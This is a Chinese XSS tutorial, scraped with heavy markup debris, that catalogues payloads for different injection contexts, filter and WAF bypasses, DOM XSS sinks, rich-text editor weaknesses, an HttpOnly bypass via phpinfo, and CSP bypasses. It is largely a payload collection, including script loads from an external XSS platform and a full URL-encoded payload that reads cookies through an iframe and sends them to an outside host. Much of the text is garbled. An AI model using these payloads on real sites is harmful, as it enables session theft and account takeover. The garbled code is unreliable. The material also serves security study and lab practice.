珂技系列之一篇就够了——XSS进阶

68次阅读
没有评论

class='language-default'>class='language-default'>htmlclass='language-default'>class='language-default'>PUBLICclass='language-default'>class='language-default'>"-//W3C//DTDclass='language-default'>class='language-default'>HTMLclass='language-default'>class='language-default'>4.0class='language-default'>class='language-default'>Transitional//EN"class='language-default'>class='language-default'>"http://www.w3.org/TR/REC-html40/loose.dtd">class='language-default'>class='language-default'>/>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

一、class='language-default'>class='language-default'>xss可以做哪些事情?

class='language-default'>class='language-default'>

在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。class='language-default'>class='language-default'>/>弹窗吓唬人,也是最常用的测试手段

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

有时候不能弹窗,也可以变相用其他简单dom证明。

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

网页跳转,等同于任意url跳转

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>content="1;http://www.baidu.com/"class='language-default'>class='language-default'>http-equiv="refresh">

class='language-default'>class='language-default'>

引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>=https://www.hacksafe.net/articles/web/1class='language-default'>class='language-default'>onerror='appendChild(createElement("script")).class='language-default'>class='language-default'>src="//xsshs.cn/aaaa"'class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>=https://www.hacksafe.net/articles/web/1class='language-default'>class='language-default'>onerror='jQuery.getScript("//xsshs.cn/aaaa")'class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

盗取cookie,最常用手段,注意URL中+变成%2B

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。

class='language-default'>class='language-default'>

flash钓鱼,结合弹窗和url跳转进行钓鱼

class='language-default'>class='language-default'>


class='language-default'>class='language-default'>

用xss触发CSRF,论坛中可用来制作XSS蠕虫class='language-default'>class='language-default'>/>GET

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="./pay.php?id=test"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

POST

class='language-default'>class='language-default'>


class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

JSON/POST

class='language-default'>class='language-default'>

class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

 class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>class='language-default'>class='language-default'>/> class='language-default'>class='language-default'> class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

二、class='language-default'>class='language-default'>不同位置的XSS利用方式

class='language-default'>class='language-default'>

标签外

class='language-default'>class='language-default'>

name=

class='language-default'>class='language-default'>

标签内

class='language-default'>class='language-default'>

name=">class='language-default'>class='language-default'>name=1"class='language-default'>class='language-default'>id=javascript:alert(1)class='language-default'>class='language-default'>autofocusclass='language-default'>class='language-default'>onfocus=location=this.idclass='language-default'>class='language-default'>xx

class='language-default'>class='language-default'>

href中

class='language-default'>class='language-default'>

name=javascript:alert(1)

class='language-default'>class='language-default'>

CRLF

class='language-default'>class='language-default'>

name=%0d%0a%0d%0a

class='language-default'>class='language-default'>

js中

class='language-default'>class='language-default'>

name=class='language-default'>class='language-default'>name=';alert(1);//class='language-default'>class='language-default'>name=';alert(1);'class='language-default'>class='language-default'>name='-alert(1)-'class='language-default'>class='language-default'>name=';};alert(1);functionclass='language-default'>class='language-default'>a(){a='

class='language-default'>class='language-default'>

xml

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>version="1.0"?>
class='language-default'>class='language-default'>xmlns:a="http://www.w3.org/1999/xhtml">

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>version="1.0"?>class='language-default'>class='language-default'>class='language-default'>class='language-default'>http-equiv="Content-Type"class='language-default'>class='language-default'>content="text/html;charset=UTF-8">class='language-default'>class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

svg

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>version="1.0"class='language-default'>class='language-default'>encoding="UTF-8"class='language-default'>class='language-default'>standalone="no"?>class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>version="1.1"class='language-default'>class='language-default'>id="Layer_1"class='language-default'>class='language-default'>xmlns="http://www.w3.org/2000/svg"class='language-default'>class='language-default'>xmlns:xlink="http://www.w3.org/1999/xlink"class='language-default'>class='language-default'>x="0px"class='language-default'>class='language-default'>y="0px"class='language-default'>class='language-default'>width="100px"class='language-default'>class='language-default'>height="100px"class='language-default'>class='language-default'>viewbox="0class='language-default'>class='language-default'>0class='language-default'>class='language-default'>751class='language-default'>class='language-default'>751"class='language-default'>class='language-default'>enable-background="newclass='language-default'>class='language-default'>0class='language-default'>class='language-default'>0class='language-default'>class='language-default'>751class='language-default'>class='language-default'>751"class='language-default'>class='language-default'>xml:space="preserve">class='language-default'>class='language-default'> class='language-default'>class='language-default'>id="image0"class='language-default'>class='language-default'>width="751"class='language-default'>class='language-default'>height="751"class='language-default'>class='language-default'>x="0"class='language-default'>class='language-default'>y="0"class='language-default'>class='language-default'>href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo">class='language-default'>class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>id="h2-3">三、class='language-default'>class='language-default'>XSS绕过相关

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1)">class='language-default'>class='language-default'>/>

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

img标签,隐藏未加载图标

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1)">class='language-default'>class='language-default'>class='language-default'>class='language-default'>class="j-lazy"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶"class='language-default'>class='language-default'>class='language-default'>src="1"class='language-default'>class='language-default'>onerror="alert(1)"class='language-default'>class='language-default'>hidden>

class='language-default'>class='language-default'>

无法用圆括号

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror='a="%2",location="javascript:aler"+"t"+a+"81"+a+"9"'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="javascript:window.onerror=alert;throwclass='language-default'>class='language-default'>1">

class='language-default'>class='language-default'>

单引号,双引号,反引号互相替换

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="appendChild(createElement(`script`)).src=`https://www.baidu.com`">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="appendChild(createElement('script')).src='http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/skin/lazy.png'class='language-default'>class='language-default'>src='https://www.baidu.com'">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror='appendChild(createElement("script")).class='language-default'>class='language-default'>src="https://www.baidu.com"'>

class='language-default'>class='language-default'>

http协议省略

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>src="//www.baidu.com">

class='language-default'>class='language-default'>

前后闭合

class='language-default'>class='language-default'>

">class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1)//</pre">class='language-default'>class='language-default'>

空格填充
AAsrcAAonerrorBB=BBalertCC(1)DD
A位置可填充/,/123/,%09,%0A,%0C,%0D,%20
B位置可填充%09,%0A,%0C,%0D,%20
C位置可填充%0B,如果加双引号,则可以填充/**/,%09,%0A,%0C,%0D,%20
D位置可填充%09,%0A,%0C,%0D,%20,//,>
函数配合拼接

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

赋值和拼接

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="_=alert,_(1)">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>alt="al"class='language-default'>class='language-default'>lang="ert"class='language-default'>class='language-default'>onerror="top[alt+lang](1)">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="top[a='al',b='ev',b+a]('alert(1)')">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)">

class='language-default'>class='language-default'>

创建匿名函数

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

加密函数(parseInt和toString互逆)

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

编码

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))class='language-default'>class='language-default'>eval('x61x6cx65x72x74x28x27x78x73x73x27x29')class='language-default'>class='language-default'>eval(atob('YWxlcnQoMSk='))class='language-default'>class='language-default'>eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1)">class='language-default'>class='language-default'>class='language-default'>class='language-default'>src="&amp#x6a;&amp#x61;&amp#x76;&amp#x61;&amp#x73;&amp#x63;&amp#x72;&amp#x69;&amp#x70;&amp#x74;&amp#x3a;&amp#x61;&amp#x6c;&amp#x65;&amp#x72;&amp#x74;&amp#x28;&amp#x31;&amp#x29;">

class='language-default'>class='language-default'>

过滤eval

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class="j-lazy"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶"class='language-default'>class='language-default'>class='language-default'>src="x"class='language-default'>class='language-default'>onerror="u0065val(atob('YWxlcnQoMSk='))">class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>src="x"class='language-default'>class='language-default'>onerror="Function`a${atob`YWxlcnQoMSk=`}```"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>src="x"class='language-default'>class='language-default'>onerror="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

伪协议

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>class='language-default'>src="javascript:alert(1)">class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

更换标签和事件,事件见https://www.runoob.com/jsref/dom-obj-event.html

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>=https://www.hacksafe.net/articles/web/1class='language-default'>class='language-default'>onerror="alert(1);"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1);">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onerror="alert(1);">class='language-default'>class='language-default'>class='language-default'>class='language-default'>srcclass='language-default'>class='language-default'>onloadstart="alert(1);">class='language-default'>class='language-default'>class='language-default'>class='language-default'>onload="alert(1);">class='language-default'>class='language-default'>class='language-default'>class='language-default'>class='language-default'>onload="alert(1)">class='language-default'>class='language-default'>class='language-default'>class='language-default'>onload=alert(1);>class='language-default'>class='language-default'>class='language-default'>class='language-default'>onfocus=alert(1);class='language-default'>class='language-default'>autofocus>class='language-default'>class='language-default'>class='language-default'>class='language-default'>onfocus=alert(1);>class='language-default'>class='language-default'>class='language-default'>class='language-default'>ontoggle=alert(1);>class='language-default'>class='language-default'>class='language-default'>class='language-default'>onclick=alert(1)>XSSclass='language-default'>class='language-default'>class='language-default'>class='language-default'>onclick=alert(1)>XSSclass='language-default'>class='language-default'>class='language-default'>class='language-default'>onmouseover=alert(1)>XSSclass='language-default'>class='language-default'>class='language-default'>class='language-default'>onmouseover=alert(1)>XSSclass='language-default'>class='language-default'>class='language-default'>class='language-default'>onclick=alert(1)>XSSclass='language-default'>class='language-default'>class='language-default'>class='language-default'>oncopy=alert(1)>XSS

class='language-default'>class='language-default'>

仅限火狐IE的XSS

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>onstart="alert(1)">

class='language-default'>class='language-default'>

四、class='language-default'>class='language-default'>绕过waf拦截

class='language-default'>class='language-default'>

安全狗

class='language-default'>class='language-default'>

http://www.safedog.cn/index/privateSolutionIndex.html?tab=2

class='language-default'>class='language-default'>

D盾

class='language-default'>class='language-default'>

http://www.d99net.net/News.asp?id=126

class='language-default'>class='language-default'>

云锁+奇安信waf

class='language-default'>class='language-default'>

http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1

class='language-default'>class='language-default'>

五、class='language-default'>class='language-default'>domxss

class='language-default'>class='language-default'>

任意url跳转

class='language-default'>class='language-default'>

varclass='language-default'>class='language-default'>hashclass='language-default'>class='language-default'>=class='language-default'>class='language-default'>location.hash;//class='language-default'>class='language-default'>document.location.href.split("?url=")[1];class='language-default'>class='language-default'>if(hash){class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>varclass='language-default'>class='language-default'>urlclass='language-default'>class='language-default'>=class='language-default'>class='language-default'>hash.substring(1);class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>location.hrefclass='language-default'>class='language-default'>=class='language-default'>class='language-default'>url;class='language-default'>class='language-default'>}

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/1.html#http://www.baidu.com">http://luoke.cn:81/1.html#http://www.baidu.comclass='language-default'>class='language-default'>/>http://luoke.cn:81/1.html#javascript:alert(1)

class='language-default'>class='language-default'>

document.write

class='language-default'>class='language-default'>

varclass='language-default'>class='language-default'>hashclass='language-default'>class='language-default'>=class='language-default'>class='language-default'>location.hash.slice(1);class='language-default'>class='language-default'>document.write(hash);

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/1.html#">http://luoke.cn:81/1.html#class='language-default'>class='language-default'>class='language-default'>src="1"class='language-default'>class='language-default'>onerror="alert(1)"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

innerHTML

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'> class='language-default'>class='language-default'> 
class='language-default'>class='language-default'> class='language-default'>class='language-default'> class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

当有变量带入eval,setInterval,setTimeout,document.referrer,window.name中,都值得关注。

class='language-default'>class='language-default'>

六、class='language-default'>class='language-default'>富文本编辑器的XSS

class='language-default'>class='language-default'>

富文本编辑器允许html标签,允许以html模式编辑,往往过滤了绝大部分有害标签class='language-default'>class='language-default'>/>Ueditorclass='language-default'>class='language-default'>/>白名单过滤,只允许部分标签和部分元素class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://ueditor.baidu.com/ueditor/ueditor.config.js">http://ueditor.baidu.com/ueditor/ueditor.config.js

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-6af1ce58a36ca2135c9f0f74f4ad1a8c.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

但是可以用超链接带入javascript

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="https://www.hacksafe.net/articles/web/javascript:alert(123);">xss

class='language-default'>class='language-default'>

UMeditorclass='language-default'>class='language-default'>/>和Ueditor差不多,但是超链接会强制以http开头。class='language-default'>class='language-default'>/>查看源代码,发现jsp版本有反射XSS

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-1819f9887d628338e3d21574502e258b.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-f5076c8d545d8042eaf546b876a9d20d.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

/umeditor/jsp/getContent.jsp?myEditor=class='language-default'>class='language-default'>/umeditor/jsp/imageUp.jsp?callback=class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

Kindeditorclass='language-default'>class='language-default'>/>Kindeditor采用黑名单正则过滤,效率不高,很容易被绕过class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js">http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-5669ba8ead4b6e443ff503bf954d08fd.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

最简单的是以绕过

class='language-default'>class='language-default'>

七、class='language-default'>class='language-default'>phpinfo绕过http-only

class='language-default'>class='language-default'>

xss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。class='language-default'>class='language-default'>/>setcookie第七个参数可以设置httponly

class='language-default'>class='language-default'>

class='language-default'>class='language-default'> class='language-default'>class='language-default'>setcookie("name",class='language-default'>class='language-default'>"admin",class='language-default'>class='language-default'>NULL,class='language-default'>class='language-default'>NULL,class='language-default'>class='language-default'>NULL,class='language-default'>class='language-default'>NULL,class='language-default'>class='language-default'>TRUE);class='language-default'>class='language-default'>echo($_GET['echo']);

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=class='language-default'>class='language-default'>/>可以发现js无法读取cookie

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-8ea50148108761894c6b1e1e2e77388a.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

此时,如果有个页面能将cookie反射出来的话,强迫用户访问这个页面,然后同域读取这个页面即可将cookie给传送走。class='language-default'>class='language-default'>/>phpinfo就可以用于探测http-only的cookie

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-fb754f348da309a881c56b1bdd11d38c.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

原理为在有xss的页面,发起一个xhr请求,然后js读取返回页面中用正则匹配出HTTP_COOKIE的字段。

class='language-default'>class='language-default'>


class='language-default'>class='language-default'>

八、class='language-default'>class='language-default'>csp绕过

class='language-default'>class='language-default'>

csp是规定引用外部来源的浏览器策略,包括js/img/css等。class='language-default'>class='language-default'>/>常见格式如下class='language-default'>class='language-default'>/>Content-Security-Policy:class='language-default'>class='language-default'>default-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>www.baidu.com;class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'unsafe-inline'class='language-default'>class='language-default'>/>default-src设定所有资源默认加载规则,self为仅允许同域,后面可以加域名白名单,none为包括同域在内所有资源都不行,*为允许所有资源加载,unsafe-inline为允许当前页面加载(如果没有这个当前页面也不允许直接执行js)。class='language-default'>class='language-default'>/>其规律表格如下

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-9fdf81b686d0178db44c7b71fd32cc5c.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

除了script-srcclass='language-default'>class='language-default'>之外,还有img-src,object-src,frame-src标签等,其他比如'unsafe-eval'规则见class='language-default'>class='language-default'>href="https://www.cnblogs.com/heyuqing/p/6215761.html">https://www.cnblogs.com/heyuqing/p/6215761.htmlclass='language-default'>class='language-default'>/>当然,对XSS来说,最重要的就是script-src绕过,我们面对的拦截规则一般如下。class='language-default'>class='language-default'>/>Content-Security-Policy:class='language-default'>class='language-default'>default-srcclass='language-default'>class='language-default'>'self';class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline';class='language-default'>class='language-default'>/>1.php

class='language-default'>class='language-default'>

class='language-default'>class='language-default'> class='language-default'>class='language-default'>setcookie("name",class='language-default'>class='language-default'>"admin");class='language-default'>class='language-default'>header("Content-Security-Policy:class='language-default'>class='language-default'>default-srcclass='language-default'>class='language-default'>'self';class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline';");class='language-default'>class='language-default'>echoclass='language-default'>class='language-default'>$_GET['echo'];

class='language-default'>class='language-default'>

可以以header方式返回,也可以写在前端的meta标签里。

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>http-equiv="Content-Security-Policy"class='language-default'>class='language-default'>content="default-srcclass='language-default'>class='language-default'>'self';class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline'">

class='language-default'>class='language-default'>

常用加载外部js手段失败class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-4979603454e15f80ecfc4226a99727af.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

当然,如果当前域允许非图片上传,可以上传一个内容为js的txt。class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=class='language-default'>class='language-default'>/>不过还是那句话,加载外部js是手段不是目的,直接尝试直接在本地执行js带出cookie。class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-6cec4bffc6f96ab8cfb3ebcd84aff648.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

还是不行,其原因是这种带出cookie的本质是用document.createElement新建了一个img标签,以img的src请求拼接cookie。而我们规定了default-srcclass='language-default'>class='language-default'>'self',使得所有资源都只能加载本地的,导致失败,同理此时发起xhr请求也会失败。class='language-default'>class='language-default'>/>如果没有配置default-src,而是单独的配置img-src,script-src,style-src,我们可以找出漏网之鱼比如冷门的video来绕过。class='language-default'>class='language-default'>/>Content-Security-Policy:class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline';img-srcclass='language-default'>class='language-default'>'self';style-srcclass='language-default'>class='language-default'>'self'

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=

class='language-default'>class='language-default'>

正确配置的前提下,可以用跳转来突破限制。class='language-default'>class='language-default'>/>Content-Security-Policy:class='language-default'>class='language-default'>default-srcclass='language-default'>class='language-default'>'self';class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline';class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://luoke.cn:81/test/1.php?echo=">http://luoke.cn:81/test/1.php?echo=

class='language-default'>class='language-default'>

如果同域下A页面正确配置了,B页面错误配置并且有XSS漏洞,可以在B页面用iframe标签操作A页面。class='language-default'>class='language-default'>/>test/1.php

class='language-default'>class='language-default'>

class='language-default'>class='language-default'> class='language-default'>class='language-default'>setcookie("name",class='language-default'>class='language-default'>"admin");class='language-default'>class='language-default'>header("Content-Security-Policy:class='language-default'>class='language-default'>default-srcclass='language-default'>class='language-default'>'self';class='language-default'>class='language-default'>script-srcclass='language-default'>class='language-default'>'self'class='language-default'>class='language-default'>'unsafe-inline';");

class='language-default'>class='language-default'>

test2/2.php

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>echoclass='language-default'>class='language-default'>$_GET['echo'];

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/test2/2.php?echo=">http://luoke.cn:81/test2/2.php?echo=class='language-default'>class='language-default'>/>这样访问无cookie。

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/test2/2.php?echo=%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);setTimeout(()=%3Ealert(iframe.contentWindow.document.cookie),2000);%3C/script%3E%3C/body%3E">http://luoke.cn:81/test2/2.php?echo=class='language-default'>class='language-default'>/>这样可以弹出cookie

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-51c8063df554d60fd867e3a8be2b92e2.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

这样证明cookie只用于test/目录,且同域下的test2/目录可以通过iframe获取。然后突破A页面的csp传输走就行了。

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="http://luoke.cn:81/test2/2.php?echo=%20%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);var%20img%20=%20document.createElement(%22img%22);setTimeout(()=%3Eimg.src=%22http://baidu.com/?msg=%22%2Bescape(iframe.contentWindow.document.cookie),2000);document.body.appendChild(img);%3C/script%3E%3C/body%3E">http://luoke.cn:81/test2/2.php?echo=%20%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);var%20img%20=%20document.createElement(%22img%22);setTimeout(()=%3Eimg.src=%22http://baidu.com/?msg=%22%2Bescape(iframe.contentWindow.document.cookie),2000);document.body.appendChild(img);%3C/script%3E%3C/body%3E

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>src="http://img.aqxbk.com/imgproxy.php?url=https://img.hacksafe.net/2021/02/frc-076456c39bcec427e22d050e6a2811da.jpeg"class='language-default'>class='language-default'>alt="珂技系列之一篇就够了——XSS进阶">

class='language-default'>class='language-default'>

格式化为

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>class='language-default'>

class='language-default'>class='language-default'>

其他方法见class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="https://xz.aliyun.com/t/5084">https://xz.aliyun.com/t/5084

class='language-default'>class='language-default'>

九、class='language-default'>class='language-default'>XSS靶场

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>href="https://xss.tesla-space.com/">https://xss.tesla-space.com/class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="https://alf.nu/alert1">https://alf.nu/alert1class='language-default'>class='language-default'>/>class='language-default'>class='language-default'>href="http://prompt.ml">http://prompt.ml

class='language-default'>class='language-default'>

class='language-default'>class='language-default'>style="background:class='language-default'>class='language-default'>#F5F5F5;class='language-default'>class='language-default'>font-size:class='language-default'>class='language-default'>10px;">

class='language-default'>class='language-default'>href="https://www.hacksafe.net/articles/web/5721.html"class='language-default'>class='language-default'>style="text-decoration:class='language-default'>class='language-default'>none">class='language-default'>class='language-default'>style="color:class='language-default'>class='language-default'>#929292;">相关推荐:class='language-default'>class='language-default'>记一次GDB调试class='language-default'>class='language-default'>href="https://www.hacksafe.net/tag/nginx"class='language-default'>class='language-default'>target="_blank"class='language-default'>class='language-default'>title="nginx"class='language-default'>class='language-default'>rel="noopener">nginx运行流程

class='language-default'>class='language-default'>

简介class='language-default'>class='language-default'>在class='language-default'>class='language-default'>href="https://www.hacksafe.net/tag/nginx"class='language-default'>class='language-default'>title="nginx"class='language-default'>class='language-default'>target="_blank"class='language-default'>class='language-default'>rel="noopener">nginx源代码中有大量的任务被加到红黑树中,或者通过注册回调函数来实现,通过阅读源码很难发现和跟踪执行流程。但是通过调试nginx代码可以很清晰的跟踪nginx执行的流程,可以很直观的发现一次http请求响应完整处理生命周期。class='language-default'>class='language-default'>nginxclass='language-default'>class='language-default'>modul…

class='language-default'>class='language-default'>

